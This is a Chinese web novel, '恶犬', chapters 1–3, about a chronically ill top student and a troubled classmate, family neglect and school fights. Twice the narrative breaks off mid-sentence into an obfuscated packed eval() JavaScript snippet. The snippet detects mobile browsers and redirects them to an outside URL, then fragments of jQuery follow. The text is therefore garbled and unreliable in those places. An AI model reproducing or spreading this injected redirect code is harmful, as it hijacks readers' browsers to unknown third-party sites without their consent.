《恶犬》 1. 第 1 章 南岭的八月如火炉。 周六下午三四点的光景,日光仍旧持续散发庞大热量。 南岭一高校园内不见人影,高三所在的教学楼内隐隐传出各班老师讲课的声音,离近了还能听到书页翻动以及纸笔摩擦的沙沙轻响,和教学楼窗外的繁茂枝叶摩挲音汇成一片白噪音。 很催眠。 但一班前排的学生无一不是聚精会神,生怕休息片刻,就拉下了学习进度。 数学老师宋明讲完整张卷子,拧开保温杯喝了口水,下课铃正好响起,他布置完作业,然后朝第一排中间位置坐着的女生抬了抬手。 “课代表,明早收一下作业。” 汤慈从满分卷子中抬起头,露出宽大眼镜下窄而尖的下巴,没什么血色的嘴唇动了动,“好的,宋老师。” 宋明一走,教室内的学生才开始活动,喝水的,结伴去卫生间的,去小卖部买零食补充能量的,一时间教室空了小半。 汤慈从桌斗里拿出书包,将今天各科作业都整齐放进包内拉上拉链,桌面的卷子对折,还没塞进书架,江蝉坐到了她身侧的空位,抱着刚刚数学课讲的卷子,满面愁容。 “小慈,你再给我讲讲最后一道大题呗,我听的云里雾里的。” 汤慈又将折好的卷子展开铺在桌面,拿起笔袋里的中性笔转了一下,“好,你具体是哪个知识点不清楚呢?” 江蝉凑她进了些,却戳了戳汤慈笔袋上的洞,“你这个笔袋都破好久了,怎么还不换个新的?” “还能用。”汤慈没管笔袋的事,催促江蝉,“先说题。” 汤慈听她说完不懂的地方,从书架抽出演草本,将脑海里的演算步骤列出来,并耐心地给她讲解了一遍。 汤慈嗓音温和,语调平缓,无疑是个好老师。 江蝉听完头脑立刻清晰,笑着挽住汤慈的手臂,“谢谢汤学霸,现在去不去小卖部?我请你喝水啊。” 汤慈揪了一下书包拉链,“不去了,我得去趟医院。” “复查的结果出来了?”江蝉随她一道站起来,“我送你下楼。” 汤慈点点头,背上书包从桌椅缝隙挤出来,“还好后两节课是自习。” 高三补课期间,每周日休息一天,周六下午最后两节是自习,学生有事通常也是这个时间段请假。 汤慈坐在第一排,通常出教室也是从前门,但今天正好撞见一行同学从前门进来,将不大的走廊堵得水泄不通。 江蝉自然而然拉着汤慈去走后门。 帆布鞋底在地板上转了个弯,汤慈指尖蜷缩了一下才深吸了一口气跟上江蝉的脚步,目光下意识朝教室最后一排靠窗的单人位轻睇了一秒。 盛毓在睡觉。 黑T被他的肩胛撑起小山一样的弧度,修长洁白的手臂从漆黑发顶伸出,随意地搭在课桌边缘。 窗外聚着几个本班和别班的男生,正面色凝重地谈论着什么,周弋阳拍了拍盛毓的肩膀,“毓哥!快醒醒!林尧那个王八蛋找人把金铭带走了。” 盛毓掀起轻薄的眼皮,又很快耷下,沉哑着嗓子“嗯?”了一声。 一个男生急切重复:“林尧刚给弋阳发了个短信,说他看到有几个混混带着金铭去滨湖公了。” 周弋阳恶狠狠啐了一口气,“就是他找的人,林尧惯会耍这种阴招。” 盛毓闻言皱了一下眉头,眼睫再次掀开时,漆黑瞳孔已然清醒。 汤慈她们走到最后一排,盛毓已经从座位上站起来,长腿迈向后门,冷白手掌捏了捏后颈,“会会去。” 目光从男生只放着一本课外书的桌面瞥过,汤慈又悄悄抬眼看向走在她前面的盛毓,即使她抬着头,目光也只能触及他宽阔的肩膀。 她没注意好保持距离,脚步向前,鼻尖快要贴上男生的脊背。 极淡的皂香萦绕在她鼻腔。 汤慈脚步瞬间顿住。 江蝉惊恐地拖住她的手臂,凑到她耳边小声说:“你不要命了?刚睡醒的魔王你也敢离这么近?” 汤慈缓慢眨了眨眼睛,看到门外站着的一群女生,她们殷切的目光朝盛泽身上投递,却并没有一人敢上前搭讪。 南岭一高的人都知道,高三一班的盛毓桀骜难驯,最讨厌女生朝他身边凑,更别提是他刚被吵醒的烦躁时刻。 但他实在生了副好皮囊,冷酷疏离的性子又激发人性本能的征服欲,让无数女生趋之若鹜。 汤慈摇摇头,“我没注意到。” 江蝉注意力早被盛毓吸引,没注意她的回话,等身材挺拔的男生下了楼梯,才依依不舍收回目光,摇头叹息:“可惜了盛毓长这么帅,天天打架斗殴,迟早要被学校劝退的。” 汤慈没说话,捏紧了书包肩带,下楼梯的脚步有些许沉重。 江蝉还在喃喃:“不过也没关系,他毕竟是富二代,以后继承家族产业就好啦,跟我们苦逼做题家不是一个世界的人……” / 医院大堂的自动打印机嗡嗡运作,吐出几张检验报告。 汤慈收起身份证,拿起报告,边看边上了自动扶梯。 看到报告单上的数值,汤慈搭在扶手上的掌心倏地收紧,艰难地吞咽着喉咙想试图稳定情绪,拿着报告单的左手却止不出地轻颤。 上到三楼,汤慈先在长椅上坐了一分钟,才起身去到肾内科。 敲响六号会诊室的门,听到里面传来回应,汤慈推门进到房间内,“张医生。” 两鬓斑白的张医生抬头看到她,温声道:“小慈来了,进来坐。” 汤慈把报告放到桌上才坐下,张医生已经在电脑上看过报告,便直接开门见山道:“最近小腿有没有水肿?” 她得的是系统性红斑狼疮肾炎,十一岁确诊,到现在已经过去五年,由于肾脏过滤蛋白质的功能受损,水肿是最常见的症状。 因此这几天脚踝处的肿胀,并未引起她的警惕。 “有一点。”汤慈张口,嗓音干哑。 张医生看着眼前面容仍未褪去稚嫩的少女,虽不忍心,但还是沉下声告诉她:“你的肌酐现在升到了两百多,已经属于四期的范畴,后续控制会有些困难,以后需要每周来医院打免疫球蛋白。” “我知道了。”汤慈脸色发白,顿了顿,问:“一次大概需要多少钱?” “报销完五百左右。”张医生沉吟,再张口时面露怜悯,“小慈,现在这个指标我们尽量降下来,但万一后续没控制住,你可能要和家人商量一下透析的事。” 汤慈表情空茫一瞬,突然轻声说:“我妈当时就没控制住。” 张医生愣住,想起曾经也是自己病人的汤慈妈妈,她在生完女儿没多久就确诊红斑狼疮肾炎,发展到尿毒症仅短短两年,全靠透析吊着一口气,最终没能等到肾源,离世时不知道未来女儿也要遭受同样的罪。 她轻轻拍了拍汤慈的肩膀,“你的病是遗传自你妈妈没错,但医疗在进步,每个人的身体情况也不一样,你还是要保持积极的心态,这样也有利于后续的治疗。” 汤慈垂着眼睛,牵动唇角勾起一个笑,“我知道的,谢谢张医生。” 张医生视线落在她瘦削的肩头,挂着书包肩带,边缘都磨了毛。 想到这两年都是汤慈一个人来医院复查,她没忍住多嘴问了一句,“你爸最近忙吗?下次来医院可以叫他陪你来,我跟他说一下你的情况。” “他……可能没时间。”汤慈哑声道。 张医生想到科室间流传的见闻,眉心深深凝起,没再多问。 直到汤慈出了房间,刚刚一直忙碌的实习医生才愤愤敲了一下桌子,“她那个爸忙着做试管生孩子呢,亲生女儿都病成这样了,他怎么忍心不管?!果然有了后妈就等于有了后爸!” 张医生不赞同他谈论病人家事的行为,朝他递过去一个警示眼神,自己却重重叹了口气。 / 临近下班的时刻,如血夕阳泼了漫天,最后一点金光被混沌霞光挤压至消失。 医院外的机动车道车辆川流不息,人行道上人头攒动。 汤慈抬头抹了一下额角的薄汗,没什么情绪地被人潮推挤着上了回家的公交车。 公交车行驶后,她从包里掏出手机,给席静发去了短信。 【汤慈:静姐,最近台球厅缺人手吗?】 席静是她家以前对门的邻居,后来全家搬到了新城区,但两个女孩自小的交情没断,前些年席静在北山商业街开了家台球厅,知道汤慈生病缺钱,按照日结的方式经常叫她过去看店。 几分钟后,手机震动了一下。 【席静:今天维修消防通道,你明天可以过来,不过你现在高三了吧,方便吗?】 【汤慈:方便。】 席静发来一个笑脸,【行,我忘了我们小慈是学霸来着,少上几节晚自习照样考年级第一。】 汤慈回了个表情,收起手机。 进小区时,四处都亮起了灯,潮热空气内充斥着各家各户的饭菜香。 汤慈上楼打开房门,客厅昏暗一片,汤建伟和秦玲还没回家。 她没急着做饭,先是回到卧室,泄气一般,放下书包躺在床上,怔怔看置放在墙角的妈妈的灵台。 早些年这个灵台是放在客厅的,后来秦玲嫁进来,不大的客厅多了一架陪嫁的钢琴,灵台就移到了汤慈的卧室。 如果这个家还有关心她病情的人,那一定是早已去世的妈妈。 或许是早有洞见,妈妈在去世之前将攒的最后一笔钱交给了她,这笔一直维持她生命的钱,已经日渐减少,如果未来真的要透析,这笔钱肯定是不够用的。 汤慈攥紧床单,隐秘又阴暗的种子在心里扎根,她在黑暗中祈祷着秦玲不要怀上孩子。 那样江建伟才会为了血脉亲情支付她的医药费。 咔哒。 卧室外传来大门打开的声音。 女人兴奋的嗓音和高跟鞋敲击地板的动静,齐声响起。 “老汤——你现在什么感觉?!” 汤慈呼吸开始急促,四肢灌了铅一样在床上越陷越深。 汤建伟爽朗地哈哈大笑,“高兴,我是真的高兴,努力两年没白费,你这肚子终于有动静了。” 汤慈额头沁出冷汗,浑身脱力蜷缩在黑暗的空间内。 由于汤慈没开灯,秦玲没意识到家里还有人,讲起话来肆无忌惮,“我现在怀的可是你们老汤家唯一的香火,怎么对我们娘俩,你看着办吧。” 汤建伟弓腰换鞋,含混道:“啥叫唯一的香火,小慈还在家住着呢, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15942236|177405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你正好生个弟弟给小慈做个伴。” 秦玲哼了一声,“你别怪我丑话说在前头,以后家里钱怎么分配你得拎得清。” “小慈手里有她妈妈留下的钱。”汤建伟干笑,“没怎么管我要过钱。” “那是个死数,迟早有花完的一天。” “那你让我怎么办?”汤建伟急了,“小慈是我亲女儿,我总不能不管吧,再说了她成绩那么好,未来要有大出息的。” “未来?”秦玲冷笑,“得那个病还有什么未来?你不会指望她以后出息了给你养老吧?小心短命鬼让你落得人财两空!” 面对妻子逐渐尖锐地质问,汤建伟闷着气没反驳。 吱呀—— 次卧的门突然被人从里面拉开。 客厅空气瞬间凝滞。 汤慈站在门内,脸色苍白如纸,目光空洞地朝他笑了一下,“爸,你们回来了。” 汤建伟后背僵住,双手搓了把脸,低声问:“你在家怎么不开灯?” 秦玲清了清嗓子,嘴里咕哝着去了厨房准备晚饭。 汤慈舔了舔干涩的嘴唇,“刚刚睡着了,被你们说话声吵醒了。” 汤建伟躲闪着汤慈的目光,指了指厨房:“累了吧,晚上想吃什么,让你秦姨给你做。” 汤慈捋了捋鬓角的碎发,背上包走到玄关,“你们吃吧,我有事出去一趟。” “又去台球厅啊。”汤建伟知道她晚上经常去台球厅兼职,干巴巴嘱咐了一句,“早点回来,注意安全啊。” 关上门,汤慈强撑的精神才萎靡下来。 一直悬在头顶的达摩克利斯之剑,终于落了下来。 她居然很快就接受了后妈怀孕这个事实,甚至觉得秦玲的话也没错。 短命鬼。 她连现在的路都走得如履薄冰,还谈论什么未来。 命悬一线的人稳坐年级第一的位置又有什么意义。 汤慈骑着只有夜晚才归她使用的电动车,漫无目的地行驶在街道上,等一阵凉意侵蚀手臂,她转头看到广场上的石碑时,才发现自己竟然骑到了滨湖公园。 葳蕤繁茂的枝桠间吹来凉风,没能消减双颊攀上的热意,汤慈转动车把,想要快速离开,却在听到公园内的喧闹声后停下动作。 拳头撞击的闷响里,传出一道男生急切地吼叫。 “艹!他们把盛毓包抄了——” “我们这边也走不开啊啊啊!!” 汤慈心口一颤,将车停在路边,顾不上危险,拿着手机走进了漆黑一片的公园。 靠近公园围栏的草坪内站着几个人,中间的男生侧影挺拔,汤慈站在树后看了半天,认出是盛毓。 昏暗的灯光下,盛毓垂着眼皮随意活动着手腕,比她还像个散步的群众。 围在他的两侧混混找准时机冲了上去,你一拳我一脚地砸向他,盛毓轻松躲过,奈何包抄的人数太多,他的肩膀还是被光头混混掼了一拳。 他眉头未皱一下,迅速抬手扣住光头的手腕,手臂用力一拉,将光头扔进了绿化带。 对手太强,混混们逐渐丢了气势,绿化带里的光头从草丛里拔出脑袋,满脸愤恨地从兜里掏出一把折叠刀,弹开的瞬间,刀片反射出灯光。 汤慈喉口紧锁,从包里拿出手机,点开拨号键,刚按下一个键,就听到前方传来一声闷哼。 她猛地抬头,看到盛毓握住了光头插向他胸口的折叠刀。 漆红血液自冷白指尖迸出,趁着光头惊骇的瞬间,盛毓反手夺下折叠刀,刀刃却并没有收回来。 他将光头踹倒在地,踩着光头的腰蹲下来,折叠刀在他流满鲜血的掌心转了一圈,刀刃这次对准了光头的脖颈。 盛毓压着眉眼,唇角扯出一个疯狂的弧度:“知道插这儿会流多少血吗?” 光头语无伦次地求饶,“盛,盛哥,我错了,你冷静,冷静……杀了我你也活不了啊。” 话说到最后,光头已然带上了哭腔。 盛毓却不为所动,嗤笑一声,“我这条贱命也没什么可活的。” 看着盛毓手中那把雪亮的刀刺下去的时候,汤慈颤抖的指尖拨错了一个键。 “哩呜哩呜”的警笛声却蓦然划破漆黑的夜。 混混们怒骂着各自爬起做鸟兽散,光头如梦初醒睁眼,看到离自己脑袋只有两厘米的刀刃,吓得再次晕过去。 被混混们缠斗的男生们姗姗赶到时,警察已经将草坪包围。 周弋阳低骂一句,“大爷的,那个缺德玩意儿报的警!!” 被揍得鼻青脸肿的金铭看到树后抱着手机的汤慈,眼睛一眯,手一指,“是她报的警吧?这谁啊?多管什么闲事——” 还没说完,金铭被警察一个巴掌拍在背上,呵斥着押走了。 来了不少警察,全场斗殴的人几乎一个不拉被反剪着手臂压上了警车。 少年们脸上或焦躁或恼怒或不屑,只有盛毓脸色平静,他抬手擦了一下额角,躬身进警车的时候,漆黑目光从僵在树下的少女脸上掠过。 夜风忽而刮过,汤慈脸上溅上冰凉的雨滴。 她疑惑看向晴朗夜空,抬手蹭了一下脸颊。 视线聚焦到指尖,汤慈发现那是一抹凉掉的血。 盛毓的。 2. 第 2 章 周一一早照例举行升旗仪式,下楼前,宋恪抱着叠材料叫住汤慈。 “班长,怎么了?”汤慈转过身,下意识伸手帮他分担怀中的材料。 宋恪笑了一下,“就是让你帮我一起送材料。” 汤慈点头,从他手中接过一半文件,两人一起下楼。 操场上各班级的方队已然成形,零星散落的个别学生也都在整齐归队,主席台下闲散立着的一排男生就显得格外突兀。 他们都没穿校服,脸上却都挂着彩。 中间的盛毓最突出,就连冷色的皮肤的淤青都比别人显眼。 汤慈垂着眼睛,跟在宋恪身后朝主席台前走,眼角余光瞥见盛毓的手臂,腕骨处草草包扎着白纱布,一道狰狞的红色伤疤从纱布边缘伸出来,边缘还泛着白。 她不知道愣神几秒,脚下不知道什么时候卷入盘根错节的话筒电线,身体重心不稳朝宋恪的后背扑了过去。 汤慈来不及做出其他反应,慌忙间闭上了双眼,预想中的撞击没有发生,她的手臂被一只力道很大的掌心握紧,带着她站定在原地。 她掀起轻颤的睫毛,隔着平光镜片对上盛毓的目光。 盛毓已经松开了手,薄唇一开:“看路。” 低沉的嗓音萦绕耳边,汤慈强忍着揉耳朵的冲动,垂下眼说谢谢。 宋恪回头看到汤慈垂头耷眼的模样,本能以为盛毓这帮人做了什么坏事,他伸手将汤慈拉到自己右侧,并小声问了句,“他没怎么你吧?” 金铭本就讨厌这群道貌岸然的好学生,听到宋恪的话,立刻火了,“睁大你的狗眼看看,毓哥刚刚帮这书呆子来着。” 宋恪看了金铭一眼,“你再骂脏话,就等着加处分吧。” 金铭怒火中烧,撸着袖子想上前和他理论,被年级主任一个警告的眼神吓了回去。 他憋了一肚子气,抬头哀怨看向盛毓。 盛毓被人误会却仍面色冷淡,双手随意插兜,目光从汤慈脸上掠过,很轻地抬了一下眉骨。 汤慈觉得自己耳尖开始发热,她躲避着盛毓的目光,小声告诉宋恪,“刚才我差点摔倒,是盛……毓,拉了我一把。” 宋恪看着汤慈泛红的脸颊,以为她是因为胆小而说假话,沉声安抚:“汤慈,你别害怕,你看你吓得脸都红了。” 身为班长的宋恪,声音足够洪亮,此刻虽然压下了音量,但近距离的人都听得清楚。 汤慈尴尬地咬了咬下唇,抬眼对上盛毓似笑非笑的眉眼,她不再解释扯上宋恪的衣摆,快速走到会议桌旁摆放起了资料。 回到班级队列,升旗仪式正式开始。 国旗队升完旗后,校领导例行讲话,最后来到通报批评的环节。 在年级主任厉声呵斥下,汤慈得知,上周她见证的那场斗殴,是盛毓和职高的男生为了争一个职高的女生,先是发生口角冲突,最后以动刀的群架收尾。 主任的话音落下,各班级队列都爆发出喧闹的谈论声。 从来拒人于千里之外盛毓,为了一个女生而打架。 好劲爆的消息。 好事的男生们起哄吹响口哨,不少倾慕盛毓的女生悄悄黯然神伤。 汤慈捏紧指尖,摒弃掉周围的噪音,听到教导主任拍了拍桌子,继续说对盛毓的处分,“本次记盛毓同学一次大过,经校领导们共同商议,若他再犯一次校纪,将直接劝退处理。” 教导主任仍继续通报其余同学的处分,汤慈已经全然听不进去。 她隔着攒动的人潮,看向主席台下的盛毓,少年仍懒怠地站在晨曦中,眼皮半耷着看向虚空,仿佛对周围一切都已厌倦。 这状态,让人觉得倘若现在就让他退学,他也会毫不犹豫地离开。 汤慈眼前倏尔泛起白雾,被藏匿在记忆深处的久远夏日蝉鸣四起,少年捧着她的脸笑得轻狂,“小不点儿,既然你这么舍不得我,那就考来我们学校。” / 盛毓受处分的事情,一整天都在学校流传。 话题中心的人物却一直没来教室上课,临近放学,从办公室送材料回来的学委带来新的八卦资讯。 “听说盛总大发雷霆,直接从国外赶了回来,还亲自下达了命令让盛毓在办公室等着。” 作为本市龙头企业家的盛宏,同时也是学校的荣誉校董,他的决定没人敢忤逆。 他们这一届学生有幸在高一开学典礼时见过盛宏一面,中年男人西装革履,神色冷峻,目露压迫,代替当时年级第一却因病缺席的盛毓上台发言。 汤慈沉默着将写完的试卷放进文件夹,学委八卦完才想起正事,扬声叫她,“汤慈,老陈让你去办公室拿奖学金申请手册。” 手上动作一顿,汤慈从座位上站起来,点头说好,三步并作两步出了教室。 江蝉看着平日里温吞的好友倏地消失,喃喃道:“只有钱才能让她这么上心。” 办公室的门虚掩着,隐约可见老陈和盛毓坐在办公室两侧的身影。 独属于老陈的低缓嗓音随空气从门缝泄了出来。 “你现在觉得无所谓的小事,可能等以后你才会发现很重要……” “人生这条路很长,稍微停歇脚步很正常,但你还得收拾收拾往下一条路——” “什么路?”盛毓清冽的嗓音截断老陈的话头,又嗤笑着回答自己,“什么路我都懒得走,您就别费心思感化我了。” “盛毓!”老陈难得严厉地拍了一下桌面,再开口语调又平缓下来,“那就别管什么路,跟着大家一起学习,考试,先考上大学再想其他事。” 盛毓手肘撑着桌面,和老陈相对坐着,姿势极尽放松,“我这个垫底的成绩有什么学习的必要,您在我身上押宝没用,照看好班里那个年级第一才是您该做的事。” 老陈因他纨绔态度气得从办公桌前站了起来,一丝不苟地发髻散落几缕碎发。 盛毓冷脸和老陈对视,没有松口的意思。 剑拔弩张的气氛被“吱哑”的开门声划开一道口子,汤慈手足无措站在门边,轻声解释,“……刚刚有阵穿堂风把门吹开了。” 老陈脸色缓和下来,朝她招手,“汤慈,你来,我给你说一下今年奖学金的设置规则。” 汤慈咽了咽嗓子走进办公室,在老陈身边坐下,全程没见盛毓抬一下眼皮。 老陈情绪稳定,和汤慈讲解奖学金规则时,已经恢复平日里耐心的模样,汤慈却难得没认真听讲,目光轻飘飘落在对面的男生身上,又迅速收回来。 咔哒—— 紧闭的大门再次被人打开,一个面色严厉、身材高大的中年人走了进来,男人先是沉声撂下句“陈老师”,就径直朝盛毓走过去。 盛毓终于撩起眼皮,看着盛宏的目光幽深锐利,和刚刚看老陈冷淡放松的神态截然不同。 汤慈注意到盛毓放在桌面上的掌心收紧,冷白的手臂上青筋暴起。 这动作像是某种兽类的本能应激反应。 汤慈喉口收紧,莫名开始紧张。 下一秒,她的眼前闪过中年人腕表的残影,盛宏对着盛毓的脸侧重重挥了一拳,“盛家的脸都被你丢尽了!你还知道廉耻吗?!” 盛毓迅速偏头,嘴角还是挨上了这一拳。 骨头隔着皮肉相撞,发出闷响,敲醒夏日闷热疲惫的傍晚。 汤慈瞬间睁大了眼睛,慌乱地从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15942237|177405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 座位上站了起来,外套口袋里的指尖无意识将纸巾攥紧。 盛毓抬起受伤的手蹭了一下嘴角流出的血,轻笑着对盛宏问:“我不知道廉耻,你知道吗?” 盛宏太阳穴的青筋突突直跳,不顾了老陈的阻挠再次朝儿子挥出拳头,这次却被盛毓紧紧扣住手腕。 盛毓慢条斯理从座位上站起来,扣着盛宏手腕的掌心逐渐收紧,直到看见他额头渗出冷汗。 老陈焦急地拍着盛毓的手臂,“松开!有事我来沟通,你先松手!” 盛毓刚一松手,盛宏就喘着粗气怒骂:“你这个逆子——你还要闹到什么时候!!” 老陈余光看到僵在办公桌前的汤慈,连忙对她说:“你先回去。” 汤慈点头,像是被吓傻了一般,没有绕开办公桌前的混乱,而是直接从盛毓和盛宏之间穿梭过去。 衣物摩擦时发出轻缓低音,盛宏被挤得往后退了一步。 / 轿车转道,司机视线从后视镜快速扫了一眼后座的少年。 虽然嘴角手上都带伤,但盛毓脸色仍如往常一样冷峻,看不出喜怒,比盛宏还难猜,让擅长察言观色的司机找不出可以谄媚的时机。 盛家上上下下都清楚盛宏不喜欢这个普通女人生的儿子,可盛毓又偏偏是他唯一的儿子。 随着强壮的体格逐渐衰败,盛宏大抵是慌了,这几年没少带女人回盛家,可待不了多久,那些女人都会识趣地离开。 据说都是盛毓的手笔。 想到这儿,司机心里哂笑一声,果然出身豪门的少爷都是人精,盛毓表面上对盛家再不屑,心里还是惦记这丰厚家产的。 现在盛家别墅内还守着一个女人,盛宏从国外峰会上认识的律师,一心想着攀高枝儿,不顾盛宏晚上去公司加班,自己先到盛宅彰显女主人的身份。 司机将车停进别墅后院,下车恭敬给盛毓拉开车门,内心深处却隐隐感到兴奋。 又有好戏看了。 盛毓长腿迈上台阶开门,才踏入玄关,就见到会客厅的沙发上坐了个女人。 听到脚步声,女人转过头,看向他时像完全没注意到他脸上的伤,仍笑着朝他伸手,“你就是盛毓吧,经常听你爸提起你。” 盛毓直接忽视她的动作,在她旁边的沙发落座。 女人讪讪收回手臂,局促地在他对面坐了下来。 见盛毓随手从书架上抽了本书看,女人歪头看了眼书名,见是自己熟悉的作家,便再次试着攀谈,“你也喜欢村上的小说?” 盛毓修长的指尖翻动起书页,撩起眼皮反问:“你都看过哪些?” “我都看过。”女人悻悻笑着,绞尽脑汁想话题。 “我看的不多,有印象的是那篇《烧仓房》。”他砰地把书合上,第一次正眼看向女人,“你看过吗?” 女人被他浓墨一样的瞳孔看得后背发毛,开口时不由自主地结巴起来,“看,看过啊。” 盛毓笑了一下,“你是这个月第四个仓房。” / 耳中嗡鸣阵阵,女人坐在豪华恒温的客厅,双臂惊起片片鸡皮疙瘩。 她艰难吞咽着喉咙从沙发上站起来,脸色抱恙地背上包离开。 盛毓木着脸从慌忙垂下眼睛的佣人身侧走过,上楼梯时双手插进冲锋裤的口袋,指尖却意外触碰到一个硬挺的塑料尖角。 他慢下脚步,掏出裤袋里的东西。 是一包陌生的,巴掌大的抽纸。 塑料包身像是被人用力攥过,封口处裂开了一个口。 洁白的纸张散发出清淡的香气。 嘴角本能地抽动一下,盛毓后知后觉意识到伤口有些疼。 3. 第 3 章 汤建伟做得是建筑包工的生意,狐朋狗友众多,听说秦玲怀孕,一连几日喊他出去喝酒。 秦玲从幼儿园下了班就骑车去陪他,陪他喝酒吹牛到深夜,回家基本都过了零点。 汤慈晚上十点从台球厅下班,没有电动车可骑,只能步行回家。 南岭末伏天的深夜,空气潮热黏腻,路边大排档一桌桌坐满了人,不少中年男人撩起衣服露出白花花的肚皮,更有甚者直接将上衣脱了搭在塑料椅背。 汤慈攥紧书包肩带,在分叉路口迟疑几秒,没走大排档一条街,绕远路回了家。 到家后她先洗了澡,从浴室出来才觉得肚子有些饿,一看时间还不到十一点,她果断去到厨房准备给自己煎两个鸡蛋对付一下。 汤慈打开冰箱,看到装鸡蛋的托盘空空如也,隔层也只剩下几包蔫了的蔬菜。 关上冰箱门,汤慈从斗柜里拿了包泡面来煮。 夏天垃圾过夜会产生异味,所以吃完泡面收拾好垃圾,汤慈拿上钥匙,下楼去倒垃圾。 老式居民楼除了本市的居民,还有不少外地来南岭工作的租客,打工人加班是常态,小区内即使到了深夜时刻,也经常有人出没。 所以当她扔完垃圾,听到身后长椅上传来的动静时,她并没有过多在意,直到绿化带后瘫倒在长椅上的男人开始说话。 “老婆,这些年让你受委屈了。”汤建伟拉着停好电车的秦玲,醉醺醺嘟囔,“要不是我带着小慈,我们这个家也不会过得这么拮据。” 秦玲轻飘飘看了他一眼,扬起眉梢,语气得意,“你知道欠我的就行。” 汤建伟用力搓了搓脸,下定决心一般,语气庄重地说:“老梁的话你也听见了,等南岭的工程结束,咱们就搬到江城去,那边市场大,未来好发展。” “手里有几个子儿啊就搬家。”秦玲呛他,“你不会想让我和儿子跟着你租房住吧?” 汤建伟朝六楼亮着灯的客厅看了看,“把这个老房子卖了,到江城还能换个二居室。” 秦玲咽了咽嗓子,犹豫片刻,还是问出关键问题:“那汤慈呢?” 汤建伟似是才想起来自己还有个女儿,沉吟半晌,低哑着嗓子说:“小慈也快成年了,高中毕业就能出去工作,到哪都能租到房子。” 秦玲见他这么爽快决定,欣然反问:“怎么突然这么舍得了?” “这几天我想明白了。”汤建伟握紧秦玲的手,“人生短短几十年,得为了有价值的人奋斗,这样日子才能越过越好。” 秦玲笑着锤了他一拳,“早跟你这么说了。” 汤慈关上房门,坐到床边,将花露水涂在被咬了好几个包的脚踝上,薄荷醇清凉的味道瞬间充斥整间卧室。 像极了妈妈去世那个夜晚,医院走廊弥漫着的消毒水味。 汤慈还记得妈妈的身体被白布遮盖,由护理人员推进太平间,成为了没有价值的、无人问津的一具尸体。 前一天,妈妈还告诉她,遗憾没再看一场樱花。 汤慈突然觉得浑身发冷,抱着手臂漫无目的在房间内游荡,直到看见书桌上每张都接近满分的测试卷,身体才稍微回暖。 卷子上的分数牵起破碎的神经,是她此时此刻唯一的价值。 余光看到卷子里草草塞着的宣传册,汤慈机械地翻动起来,上面详细印着南岭一高今年的奖学金机制。 除去平常的奖项,今年新增了一个互帮互助奖。 若能帮助成绩落后的同学一学期大幅度提升排名,那互助双方都能拿到一笔奖学金。 汤慈指尖按紧那一行印刷字,第一次默默叫出藏匿在心底的那个名字。 / 课间的语文组办公室只有老陈坐镇。 对面坐着一下课就来堵人的汤慈。 “你确定要这么做?”老陈凝着眉头,“先不说盛毓同不同意,你帮助同学是有可能耽误你的功课的。” 想到这,老陈对汤摇了摇头,“这对高三生——特别是你来说风险太大。” “我还记得您以前说过,巩固知识查漏补缺的最好的方式,就是给别人当老师。” 汤慈语调平稳,娓娓阐述自己的理由,“而且我看过盛毓的成绩,高一入学他是第一,后面两年成绩慢慢下滑也是个别科目交白卷导致,这样的人提升起来很快。” “问题就在这儿,”老陈长叹一声,“那天我在办公室劝他你应该也听到了,盛毓这孩子性子跋扈,他不认同的事,没人能劝得动。” 办公室门外人声嘈杂,汤慈却恍若未闻,清润漆黑的瞳孔定定看着老陈,张口说出和她温吞柔和外貌全然不符的话。 “我会让他答应的。” …… 本周是高三补课的最后一周,学校会给他们放一个完整的周末。 一班下节课是体育课,教室内外三三两两聚着些学生,都在商量周末去哪玩。 周弋阳坐在窗沿,勾头去看座位上打游戏的盛毓,“要不我们去林城,爬个山放松放松。” 金铭腿伤还没好利索,但也耐不住想玩的心思,“那我要坐索道。” 盛毓手中丝滑操纵着游戏人物,撩了一下眼皮问:“这周有比赛吗?” 周弋阳从裤兜掏出手机,翻了翻赛车群的消息,“周五到周日三天都有。” “那你们去爬。”盛毓说。 周弋阳听他说不去,也有些犹豫,又翻了两页群里的消息后,倏地拧紧眉头:“林尧这个阴魂不散的货周末也参加比赛。” 金铭往地上啐了一口,“艹!那还爬什么山,弄他去!!” 他们几人皆是从同一所初中毕业,即使高中不在一所学校,但大家都在校外混,加上林尧他爸是盛弘的下属,时不时能碰到和盛毓结怨深重的林尧。 经过上次大家,林尧安静挺长一段时间,听说是被他爸关在家里关了起来,最近应该是管教松了,又开始暗戳戳冒头。 在一众男生的愤愤声讨中,金铭挠着后脑勺突然说:“上次咱们救的那个职高姑娘,说要请咱们吃饭,去吗毓哥?” 滨湖公园那次斗殴,他们刚到就见到那群混混在纠缠正在附近逛街的几个女孩,他们二话没说就将混混踹倒在地,混乱的拳脚中,金铭还加上了为首女孩的联系方式。 后来一打听才得知,那女孩叫乔熙,是职高的校花。 “不去。”盛毓打完一盘游戏,活动着手腕说。 预料之中的答案,金铭却面露难色继续恳求:“人家都订好包厢了,就等咱们放学过去呢。” 周弋阳了解他的尿性,“你已经答应了吧。” “那姑娘很漂亮啊。”金铭眼含春色,“问我好几天了,我实在招架不住就答应了。” 谷然嗤笑着踹他,“明明是你看上人家姑娘,上次通报让毓哥给你背锅,这次还有脸拉毓哥一起吃饭?” 金铭撇撇嘴,“她说了,毓哥不去,我们就都不用去了。” 周弋阳手肘撑在盛毓的桌面,“还得是盛少爷,只 